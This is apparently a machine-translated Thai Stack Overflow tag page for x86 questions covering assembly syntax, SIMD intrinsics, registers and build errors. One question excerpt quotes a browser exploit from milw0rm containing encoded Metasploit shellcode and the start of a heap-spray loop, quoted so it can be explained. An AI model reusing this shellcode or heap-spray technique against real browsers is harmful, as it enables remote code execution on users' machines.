คำถามติดแท็ก x86

x86 เป็นสถาปัตยกรรมที่มาจาก CPU Intel 8086 ตระกูล x86 ประกอบด้วยสถาปัตยกรรม 32 บิต IA-32 และ 64 บิต x86-64 รวมถึงสถาปัตยกรรม 16 บิตแบบเดิม คำถามเกี่ยวกับคำถามหลังควรติดแท็ก [x86-16] และ / หรือ [emu8086] ใช้แท็ก [x86-64] หากคำถามของคุณเฉพาะกับ x86-64 64 บิต สำหรับ x86 FPU ให้ใช้แท็ก [x87] สำหรับ SSE1 / 2/3/4 / AVX * ยังใช้ [sse] และ [avx] / [avx2] / [avx512] ตัวใดก็ได้

3
คุณจะใช้ gcc เพื่อสร้างรหัสการประกอบในไวยากรณ์ของ Intel ได้อย่างไร
gcc -Sตัวเลือกที่จะสร้างรหัสการชุมนุมใน AT & T ไวยากรณ์จะมีวิธีในการสร้างไฟล์ในไวยากรณ์อินเทล? หรือมีวิธีการแปลงระหว่างทั้งสอง?
151 gcc  x86  gnu  intel  assembly 

7
milw0rm นี้ทำงานอย่างไร
ฉันมักจะไม่มีปัญหาในการอ่านรหัส JavaScript แต่สำหรับอันนี้ฉันไม่สามารถหาเหตุผลได้ รหัสนี้มาจากช่องโหว่ที่เผยแพร่เมื่อ 4 วันก่อน คุณสามารถค้นหาได้ที่milw0rm นี่คือรหัส: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += …


5
ไฟล์ส่วนหัวสำหรับ x86 SIMD intrinsics
ไฟล์ส่วนหัวใดที่ให้อินทรินนิกส์สำหรับส่วนขยายชุดคำสั่ง x86 SIMD (MMX, SSE, AVX, ... ) ดูเหมือนว่าจะไม่พบรายการดังกล่าวทางออนไลน์ ช่วยแก้ให้ด้วยนะถ้าฉันผิด.

6
ทำไมจำนวนเต็มล้นใน x86 กับ GCC ทำให้เกิดการวนซ้ำไม่สิ้นสุด?
รหัสต่อไปนี้จะเข้าสู่วงวนไม่สิ้นสุดบน GCC: #include <iostream> using namespace std; int main(){ int i = 0x10000000; int c = 0; do{ c++; i += i; cout << i << endl; }while (i > 0); cout << c << endl; return 0; } ดังนั้นนี่คือข้อตกลง: การล้นจำนวนเต็มที่ลงนามคือพฤติกรรมที่ไม่ได้กำหนดทางเทคนิค แต่ GCC บน x86 ใช้เลขคณิตจำนวนเต็มโดยใช้คำแนะนำจำนวนเต็ม x86 - ซึ่งตัดกับโอเวอร์โฟลว์ ดังนั้นฉันคาดหวังว่ามันจะห่อหุ้มด้วยน้ำล้น …
129 c++  c  gcc  x86  undefined-behavior 

3
ความหมายของการเข้าถึงหน่วยความจำแบบ "ไม่ชั่วคราว" ใน x86 คืออะไร
นี่เป็นคำถามที่ค่อนข้างต่ำ ในการประกอบ x86 มีคำแนะนำ SSE สองคำสั่ง: MOVDQA xmmi, m128 และ MOVNTDQA xmmi, m128 คู่มือสำหรับนักพัฒนาซอฟต์แวร์ IA-32 ระบุว่าNTใน MOVNTDQA ย่อมาจากNon-Temporalและมิฉะนั้นจะเหมือนกับ MOVDQA คำถามของฉันคือNon-Temporalหมายถึงอะไร?
123 x86  sse  assembly 


1
วิธีใดเป็นวิธีที่ดีที่สุดในการตั้งค่ารีจิสเตอร์เป็นศูนย์ในแอสเซมบลี x86: xor, mov หรือและ?
คำแนะนำต่อไปนี้ทั้งหมดทำสิ่งเดียวกัน: ตั้งค่า%eaxเป็นศูนย์ วิธีใดเหมาะสมที่สุด (ต้องใช้รอบเครื่องน้อยที่สุด) xorl %eax, %eax mov $0, %eax andl $0, %eax

5
วัตถุประสงค์ของการลงทะเบียน ESI & EDI?
วัตถุประสงค์ที่แท้จริงและการใช้ EDI & ESI register ในแอสเซมเบลอร์คืออะไร? ฉันรู้ว่ามันใช้สำหรับการดำเนินการสตริงสำหรับสิ่งหนึ่ง ใครช่วยยกตัวอย่างได้ไหม
119 assembly  x86 

3
เหตุใดคำแนะนำ x86-64 บน 32 บิตจึงลงทะเบียนส่วนบนของการลงทะเบียน 64 บิตแบบเต็มเป็นศูนย์
ในx86-64 Tour of Intel Manualsฉันอ่าน บางทีความจริงที่น่าประหลาดใจที่สุดก็คือคำสั่งเช่นMOV EAX, EBXการRAXลงทะเบียน32 บิตบนเป็นศูนย์โดยอัตโนมัติ เอกสารของ Intel (3.4.1.1 General-Purpose Registers ในโหมด 64 บิตในสถาปัตยกรรมพื้นฐานแบบแมนนวล) ที่อ้างถึงในแหล่งข้อมูลเดียวกันบอกเราว่า: ตัวถูกดำเนินการ 64 บิตสร้างผลลัพธ์ 64 บิตในการลงทะเบียนวัตถุประสงค์ทั่วไปปลายทาง ตัวถูกดำเนินการ 32 บิตสร้างผลลัพธ์ 32 บิตขยายศูนย์เป็นผลลัพธ์ 64 บิตในการลงทะเบียนวัตถุประสงค์ทั่วไปปลายทาง ตัวถูกดำเนินการ 8 บิตและ 16 บิตสร้างผลลัพธ์ 8 บิตหรือ 16 บิต 56 บิตด้านบนหรือ 48 บิต (ตามลำดับ) ของรีจิสเตอร์วัตถุประสงค์ทั่วไปปลายทางจะไม่ถูกแก้ไขโดยการดำเนินการ หากผลลัพธ์ของการดำเนินการ 8 บิตหรือ 16 บิตมีไว้สำหรับการคำนวณแอดเดรส …

8
`testl` eax เทียบกับ eax?
ฉันพยายามทำความเข้าใจการประกอบบางอย่าง การประกอบดังต่อไปนี้ฉันสนใจในtestlบรรทัด: 000319df 8b4508 movl 0x08(%ebp), %eax 000319e2 8b4004 movl 0x04(%eax), %eax 000319e5 85c0 testl %eax, %eax 000319e7 7407 je 0x000319f0 ฉันพยายามเข้าใจจุดนั้นtestlระหว่าง%eaxและ%eax? ฉันคิดว่าข้อมูลเฉพาะของรหัสนี้ไม่สำคัญฉันแค่พยายามทำความเข้าใจการทดสอบด้วยตัวเอง - ค่าจะไม่เป็นจริงเสมอไปหรือ

11
วิธีการติดตั้ง ia32-libs ใน Ubuntu 14.04 LTS (Trusty Tahr)
ฉันติดตั้ง Ubuntu 14.04 (Trusty Tahr) เมื่อวานนี้ ทุกอย่างดูเหมือนจะโอเค แต่เมื่อฉันพยายามรวบรวมรหัส C ฉันพบข้อผิดพลาดต่อไปนี้ ข้อผิดพลาดน่าจะเกิดจากระบบปฏิบัติการไม่มีการรองรับสถาปัตยกรรม 32 บิต ผลลัพธ์ข้อผิดพลาดมีดังต่อไปนี้: /usr/bin/ld: i386 architecture of input file `./libsc.a(ftl_msg.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_debug.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_str.o)' is incompatible with i386:x86-64 output …
115 ubuntu  x86 

6
เหตุใด SSE สเกลาร์ sqrt (x) จึงช้ากว่า rsqrt (x) * x
ฉันได้จัดทำโปรไฟล์หลักคณิตศาสตร์ของเราใน Intel Core Duo และในขณะที่ดูวิธีการต่างๆของสแควร์รูทฉันสังเกตเห็นว่ามีอะไรแปลก ๆ : การใช้การดำเนินการสเกลาร์ SSE การใช้สแควร์รูทซึ่งกันและกันเร็วกว่าและคูณ เพื่อรับ sqrt มากกว่าที่จะใช้ opcode sqrt ดั้งเดิม! ฉันกำลังทดสอบด้วยการวนซ้ำเช่น: inline float TestSqrtFunction( float in ); void TestFunc() { #define ARRAYSIZE 4096 #define NUMITERS 16386 float flIn[ ARRAYSIZE ]; // filled with random numbers ( 0 .. 2^22 ) float flOut [ ARRAYSIZE …

10
ทำไม x86 ถึงน่าเกลียด? ทำไมถึงถูกมองว่าด้อยกว่าเมื่อเทียบกับคนอื่น? [ปิด]
ตามที่กล่าวมาในปัจจุบันคำถามนี้ไม่เหมาะสำหรับรูปแบบถาม & ตอบของเรา เราคาดหวังว่าคำตอบจะได้รับการสนับสนุนจากข้อเท็จจริงการอ้างอิงหรือความเชี่ยวชาญ แต่คำถามนี้อาจก่อให้เกิดการถกเถียงโต้แย้งการสำรวจความคิดเห็นหรือการอภิปรายเพิ่มเติม หากคุณรู้สึกว่าคำถามนี้สามารถปรับปรุงได้และอาจเปิดขึ้นมาใหม่ได้โปรดไปที่ศูนย์ช่วยเหลือเพื่อรับคำแนะนำ ปิดให้บริการใน8 ปีที่ผ่านมา เมื่อเร็ว ๆ นี้ฉันได้อ่านไฟล์เก็บถาวร SO และพบข้อความที่ต่อต้านสถาปัตยกรรม x86 เหตุใดเราจึงต้องการสถาปัตยกรรม CPU ที่แตกต่างกันสำหรับเซิร์ฟเวอร์และมินิ / เมนเฟรมและคอร์ผสม กล่าวว่า " สถาปัตยกรรมพีซีเป็นเรื่องยุ่งนักพัฒนาระบบปฏิบัติการทุกคนจะบอกคุณว่า " การเรียนภาษา Assembly คุ้มค่ากับความพยายามหรือไม่? (เก็บถาวร ) ระบุว่า "ตระหนักว่าสถาปัตยกรรม x86 นั้นน่ากลัวที่สุด " วิธีง่ายๆในการเรียนรู้ x86 แอสเซมเบลอร์หรือไม่? กล่าวว่า " วิทยาลัยส่วนใหญ่สอนเรื่องการชุมนุมเช่น MIPS เพราะเข้าใจง่ายกว่ามากการประกอบ x86 น่าเกลียดมาก " และความคิดเห็นอื่น ๆ อีกมากมายเช่น "เมื่อเทียบกับสถาปัตยกรรมส่วนใหญ่ X86 ค่อนข้างแย่" …

15
System.BadImageFormatException: ไม่สามารถโหลดไฟล์หรือแอสเซมบลี (จาก installutil.exe)
ฉันพยายามติดตั้งบริการ Windows โดยใช้ InstallUtil.exe และได้รับข้อความแสดงข้อผิดพลาด System.BadImageFormatException: ไม่สามารถโหลดไฟล์หรือแอสเซมบลี ' {xxx.exe}' หรือการอ้างอิงอย่างใดอย่างหนึ่ง มีความพยายามในการโหลดโปรแกรมที่มีรูปแบบไม่ถูกต้อง สิ่งที่ช่วยให้? แก้ไข: (ไม่ใช่ตาม OP) ข้อความแบบเต็มที่ดึงมาจาก dup ทำให้ได้รับความนิยมมากขึ้น [สำหรับ googleability]: C: \ Windows \ Microsoft.NET \ Framework64 \ v4.0.30319> InstallUtil.exe C: \ xxx.exe Microsoft (R) .NET Framework ยูทิลิตี้การติดตั้งเวอร์ชัน 4.0.30319.1 ลิขสิทธิ์ (c) Microsoft Corporation สงวนลิขสิทธิ์. เกิดข้อยกเว้นขณะเริ่มต้นการติดตั้ง: System.BadImageFormatException: ไม่สามารถโหลดไฟล์หรือแอสเซมบลี 'file: /// C: …

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.